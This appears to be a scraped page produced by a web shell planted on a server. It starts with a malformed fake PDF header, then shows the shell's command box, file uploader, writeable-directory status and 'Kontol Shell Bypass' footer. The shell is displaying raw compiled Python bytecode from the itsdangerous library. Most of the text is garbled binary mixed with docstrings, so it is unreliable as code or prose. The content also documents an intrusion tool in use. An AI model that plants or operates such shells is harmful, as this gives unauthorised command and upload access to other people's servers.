%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/itsdangerous/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/itsdangerous/__pycache__/timed.cpython-39.pyc
a

�_g��@s�ddlmZddlmZddlZddlZddlmZddlm	Z	ddl
mZddl
mZddl
m
Z
dd	l
mZdd
l
mZddlmZddlmZdd
lmZddlmZddlmZddlmZGdd�de�ZGdd�dee�ZdS)�)�annotationsN)�datetime)�timezone�)�
base64_decode)�
base64_encode)�bytes_to_int)�int_to_bytes)�
want_bytes)�BadSignature)�BadTimeSignature)�SignatureExpired)�_TSerialized)�
Serializer)�Signercs�eZdZdZdd�dd�Zddd�dd	�Zd
dd�d
d�Zejd d
dddd�dd��Z	ejd!d
dddd�dd��Z	d"d
dddd��fdd�
Z	d#d
ddd�dd�Z
�ZS)$�TimestampSignerz�Works like the regular :class:`.Signer` but also records the time
    of the signing and can be used to expire signatures. The
    :meth:`unsign` method can raise :exc:`.SignatureExpired` if the
    unsigning failed because the signature is expired.
    �int)�returncCstt���S)zTReturns the current timestamp. The function must return an
        integer.
        )r�time)�self�r�?/vddos/python/lib/python3.9/site-packages/itsdangerous/timed.py�
get_timestampszTimestampSigner.get_timestampr)�tsrcCstj|tjd�S)a Convert the timestamp from :meth:`get_timestamp` into an
        aware :class`datetime.datetime` in UTC.

        .. versionchanged:: 2.0
            The timestamp is returned as a timezone-aware ``datetime``
            in UTC rather than a naive ``datetime`` assumed to be UTC.
        )�tz)r�
fromtimestampr�utc)rrrrr�timestamp_to_datetime#sz%TimestampSigner.timestamp_to_datetime�str | bytes�bytes)�valuercCs@t|�}tt|����}t|j�}|||}|||�|�S)z:Signs the given string and also attaches time information.)r
rr	r�sepZ
get_signature)rr �	timestampr!rrr�sign-s

zTimestampSigner.signNF�
int | Nonezt.Literal[False])�signed_value�max_age�return_timestamprcCsdS�Nr�rr%r&r'rrr�unsign8szTimestampSigner.unsignTzt.Literal[True]ztuple[bytes, datetime]cCsdSr(rr)rrrr*@s�boolztuple[bytes, datetime] | bytesc
s�zt��|�}d}Wn2tyF}z|}|jp0d}WYd}~n
d}~00t|j�}||vrn|rb|�td|d��|�|d�\}}	d}
d}ztt	|	��}
Wnt
y�Yn0|du�r|
du�rz|�|
�}Wn:tt
tf�y}ztd|d�|�WYd}~n
d}~00tt|�||d��|
du�r0td|d��|du�r�|��|
}
|
|k�rrtd|
�d	|�d
�||�|
�d��|
dk�r�td|
�d�||�|
�d��|�r�||�|
�fS|S)
a�Works like the regular :meth:`.Signer.unsign` but can also
        validate the time. See the base docstring of the class for
        the general behavior. If ``return_timestamp`` is ``True`` the
        timestamp of the signature will be returned as an aware
        :class:`datetime.datetime` object in UTC.

        .. versionchanged:: 2.0
            The timestamp is returned as a timezone-aware ``datetime``
            in UTC rather than a naive ``datetime`` assumed to be UTC.
        N�ztimestamp missing)�payloadrzMalformed timestamp)r-Zdate_signedzSignature age z > z secondsrz < 0 seconds)�superr*rr-r
r!r�rsplitrr�	Exceptionr�
ValueError�OSError�
OverflowError�strrr
)rr%r&r'�resultZ	sig_error�er!r Zts_bytesZts_intZts_dt�excZage��	__class__rrr*Hs` 


��


�

�)r%r&rcCs.z|j||d�WdSty(YdS0dS)zeOnly validates the given signed value. Returns ``True`` if
        the signature exists and is valid.)r&TFN)r*r)rr%r&rrr�validate�s
zTimestampSigner.validate)NF)NT)NF)N)�__name__�
__module__�__qualname__�__doc__rrr#�t�overloadr*r:�
__classcell__rrr8rrs 
��
�XrcsfeZdZUdZeZded<dddd��fdd	�
Zdddd
ddd�dd�Zdddddd�dd�Z	�Z
S)�TimedSerializerzOUses :class:`TimestampSigner` instead of the default
    :class:`.Signer`.
    ztype[TimestampSigner]�default_signerNzstr | bytes | None�cabc.Iterator[TimestampSigner])�saltrcst�dt��|��S)NrD)r?�castr.�iter_unsigners)rrEr8rrrG�szTimedSerializer.iter_unsignersFrr$r+zt.Any)�sr&r'rErcCs�t|�}d}|�|�D]z}z:|j||dd�\}}|�|�}	|rL|	|fWS|	WStyh�Yqty�}
z|
}WYd}
~
qd}
~
00qt�t|��dS)a�Reverse of :meth:`dumps`, raises :exc:`.BadSignature` if the
        signature validation fails. If a ``max_age`` is provided it will
        ensure the signature is not older than that time in seconds. In
        case the signature is outdated, :exc:`.SignatureExpired` is
        raised. All arguments are forwarded to the signer's
        :meth:`~TimestampSigner.unsign` method.
        NT)r&r')r
rGr*Zload_payloadr
rr?rF)rrHr&r'rEZlast_exception�signerZbase64dr"r-�errrrr�loads�s �


zTimedSerializer.loadsztuple[bool, t.Any])rHr&rErcCs|j||d|id�S)Nr&)Zload_kwargs)Z_loads_unsafe_impl)rrHr&rErrr�loads_unsafe�szTimedSerializer.loads_unsafe)N)NFN)NN)r;r<r=r>rrC�__annotations__rGrKrLrArrr8rrB�s
��(�rB)�
__future__r�collections.abc�abcZcabcr�typingr?rr�encodingrrrr	r
r7rrr
�
serializerrrrIrrrBrrrr�<module>s&

Kontol Shell Bypass